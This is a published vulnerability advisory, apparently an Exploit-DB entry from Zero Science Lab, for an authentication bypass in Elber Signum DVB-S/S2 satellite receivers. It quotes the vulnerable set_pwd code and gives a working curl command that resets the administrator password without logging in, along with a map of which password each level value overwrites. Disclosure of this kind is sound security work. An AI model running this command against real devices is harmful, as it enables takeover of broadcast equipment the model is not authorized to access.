b8a68091fe
7 changes to exploits/shellcodes/ghdb Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 - Authentication Bypass Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link - Authentication Bypass Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link - Device Config Disclosure Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 - Authentication Bypass Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 - Device Config Disclosure Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 - Device Config Disclosure
76 lines
No EOL
2.6 KiB
Text
76 lines
No EOL
2.6 KiB
Text
Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Authentication Bypass
|
||
|
||
|
||
Vendor: Elber S.r.l.
|
||
Product web page: https://www.elber.it
|
||
Affected version: 1.999 Revision 1243
|
||
1.317 Revision 602
|
||
1.220 Revision 1250
|
||
1.220 Revision 1248_1249
|
||
1.220 Revision 597
|
||
1.217 Revision 1242
|
||
1.214 Revision 1023
|
||
1.193 Revision 924
|
||
1.175 Revision 873
|
||
1.166 Revision 550
|
||
|
||
Summary: The SIGNUM controller from Elber satellite equipment demodulates
|
||
one or two DVB-S/ S2 signals up to 32APSK (single/multi-stream), achieving
|
||
256 KS/s as minimum symbol rate. The TS demodulated signals can be aligned
|
||
and configured in 1+1 seamless switching for redundancy. Redundancy can also
|
||
be achieved with external ASI and TSoIP inputs. Signum supports MPEG-1 LI/II
|
||
audio codec, providing analog and digital outputs; moreover, it’s possible
|
||
to set a data PID to be decoded and passed to the internal RDS encoder,
|
||
generating the dual MPX FM output.
|
||
|
||
Desc: The device suffers from an authentication bypass vulnerability through
|
||
a direct and unauthorized access to the password management functionality. The
|
||
issue allows attackers to bypass authentication by manipulating the set_pwd
|
||
endpoint that enables them to overwrite the password of any user within the
|
||
system. This grants unauthorized and administrative access to protected areas
|
||
of the application compromising the device's system security.
|
||
|
||
--------------------------------------------------------------------------
|
||
/modules/pwd.html
|
||
------------------
|
||
50: function apply_pwd(level, pwd)
|
||
51: {
|
||
52: $.get("json_data/set_pwd", {lev:level, pass:pwd},
|
||
53: function(data){
|
||
54: //$.alert({title:'Operation',text:data});
|
||
55: show_message(data);
|
||
56: }).fail(function(error){
|
||
57: show_message('Error ' + error.status, 'error');
|
||
58: });
|
||
59: }
|
||
|
||
--------------------------------------------------------------------------
|
||
|
||
Tested on: NBFM Controller
|
||
embOS/IP
|
||
|
||
|
||
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||
@zeroscience
|
||
|
||
|
||
Advisory ID: ZSL-2024-5814
|
||
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5814.php
|
||
|
||
|
||
18.08.2023
|
||
|
||
--
|
||
|
||
|
||
$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234
|
||
|
||
Ref (lev param):
|
||
|
||
Level 7 = SNMP Write Community (snmp_write_pwd)
|
||
Level 6 = SNMP Read Community (snmp_read_pwd)
|
||
Level 5 = Custom Password? hidden. (custom_pwd)
|
||
Level 4 = Display Password (display_pwd)?
|
||
Level 2 = Administrator Password (admin_pwd)
|
||
Level 1 = Super User Password (puser_pwd)
|
||
Level 0 = User Password (user_pwd) |